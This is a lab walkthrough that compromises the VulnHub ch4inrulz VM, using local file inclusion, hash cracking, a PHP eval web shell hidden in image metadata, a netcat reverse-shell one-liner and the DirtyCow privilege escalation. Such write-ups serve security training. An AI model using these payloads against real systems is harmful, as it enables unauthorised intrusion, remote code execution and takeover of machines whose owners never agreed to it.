In this article, we’re going to work through a long chain of obstacles on the way to full root access. Along the way, we’ll encounter and exploit several types of vulnerabilities, including LFI, RCE, and privilege escalation. We’ll be practicing on the ch4inrulz: 1.0.1 virtual machine downloaded from VulnHub.
Port Scanning
So, we’ve downloaded and deployed the virtual machine. Let’s start with the basics: we’ll scan it using Nmap. To do that, run the following command (if you want to reproduce this, your IP address will be different):
$ nmap -Pn -A 192.168.56.101

We see that the machine has ports 21 and 22 open (FTP and SSH), as well as 80 and 8011, which are running a web server.
We could, of course, rush straight to FTP first, but we’re not going to do that. Instead, we’ll knock on the web server and do a bit of reconnaissance. On port 80 we find a website belonging to some Frank, but there’s no interesting interactive functionality on it.

On port 8011 we see a tempting message, but nothing else on the page turned out to be useful.

Directory fuzzing
Time to fuzz directories. This is done to discover standard or otherwise interesting paths where important files or services might have been left accessible, and which can help us in the next stages of our work.
The first thing we checked was port 80, where we discovered the / path.


Here we hit basic authentication — we try HTTP Verb Tampering, but it doesn’t work.
info
HTTP Verb Tampering is an attack that exploits weaknesses in HTTP verb–based authentication and access control mechanisms. Many authentication systems only restrict access based on the method they expect, without considering that protected resources might still be reachable using other HTTP methods.

We could start brute‑forcing right away, but first let’s see what fuzzing on port 8011 can tell us.

Interesting! Looks like we’ve found an API for some application. Let’s dig in and see what it does!

Local File Inclusion
Of all the files listed, only files_api. is still alive.

Alright, the script requires a file parameter to run. Let’s pass it in.

Looks like we’ve been burned! Brute-forcing common files and checking for an obvious LFI didn’t work over GET requests. At this point, this entry point is still the most interesting, so let’s play with it instead of digging elsewhere. The first idea that comes to mind: what if we try using POST?

Success! We didn’t even have to bother with wrappers, null bytes, or other tricks to test whether the suspected LFI-style vulnerability was actually exploitable.
Now let’s take a look at the source code of the web applications. To do this, we’ll have to spend some time guessing paths, which will eventually lead us to the following.

To find the paths, you can use various wordlists, but in our case it was enough to just manually try the common web paths we remembered off the top of our heads. 🙂
Great, now we know the web root directory is /. Trying to inspect the configuration files in that directory didn’t work out, but we’re aware of the / folder. And that’s where we get lucky again.

Now let’s take a look inside /.

And here we have what looks like the creds from Basic Authentication. Now we just need to crack the password hash.
We’ll use the hashcat utility together with the rockyou wordlist for this.
$ hashcat -a 0 -m 1600 hash Downloads/rockyou.txt
Here
-
-a— attack mode: dictionary.0 -
-m— hash type ID. In our case:1600 Apache. You can look up this ID here.<span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ami><mi>pmi><mi>rmi><mn>1mn>mrow><annotation encoding="application/x-tex">apr1annotation>semantics>math>apr1 MD5, md5apr1, MD5 ( APR) -
hash— file containing the hash:<span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ami><mi>pmi><mi>rmi><mn>1mn>mrow><annotation encoding="application/x-tex">apr1annotation>semantics>math>apr11oIGDEDK$/.aVFPluYt56UvslZMBDoC0 -
Downloads/— path to the wordlist.rockyou. txt
And there we have it — we’ve recovered the password!

By the way, we later discovered that we could have grabbed the hash by downloading the publicly accessible index. on port 80—but by then it was already too late. 🙂
Let’s go check what’s hiding behind the basic authentication with the credentials frank:. We’re greeted by the following page.

Once again, there are no links, so we’re forced to guess the path, but in this case it’s straightforward.

We’ve found an image upload service. Tempting, but let’s look at the source code first. As you remember, we already know how to do that. This time, though, we can’t get by without using wrappers.

Let’s unpack this in a human-readable form.

We’ve received the following source code.
<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
The first idea is to hide some PHP code in the image metadata, which we can then execute using the previously discovered LFI vulnerability.
All that’s left is to prepare the payload. Take any JPG image and use exiftool to embed the code you need into the comment field with a command like this:
$ exiftool -comment="<?php eval(\$_POST[0]); ?>" payload1.jpg

Now let’s go ahead and upload it!

Nice, but where’s the actual file? The more observant readers might have spotted it in the source code we pulled earlier.

Time to #include!

Hooray!
Gaining Remote Code Execution (RCE)
Now we’ll craft a request to establish a reverse shell. More specifically, we need to URL‑encode the following payload:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Then we pass it to the urldecode and system functions. By the way, you can grab various useful payloads here.

As a result, we hijack the session.

Privilege Escalation
Let’s check what system is running on the machine.

We’re extremely lucky here, because we can get root using an exploit for the DirtyCow vulnerability. We grab it from ExploitDB and run it following the included instructions.


Our ride’s here, we’re outta here!
TL;DR
On the machine we found exposed FTP (which we ended up not needing), SSH, and two web applications. Thanks to an LFI vulnerability in one of them, we obtained credentials for basic authentication, which led us to an image upload service. By uploading a malicious image, we achieved RCE by including it via LFI. After that, we escalated to root using the DirtyCow exploit. That’s it! If you want, you can download the VM and try to reproduce the whole attack path yourself without peeking here. 🙂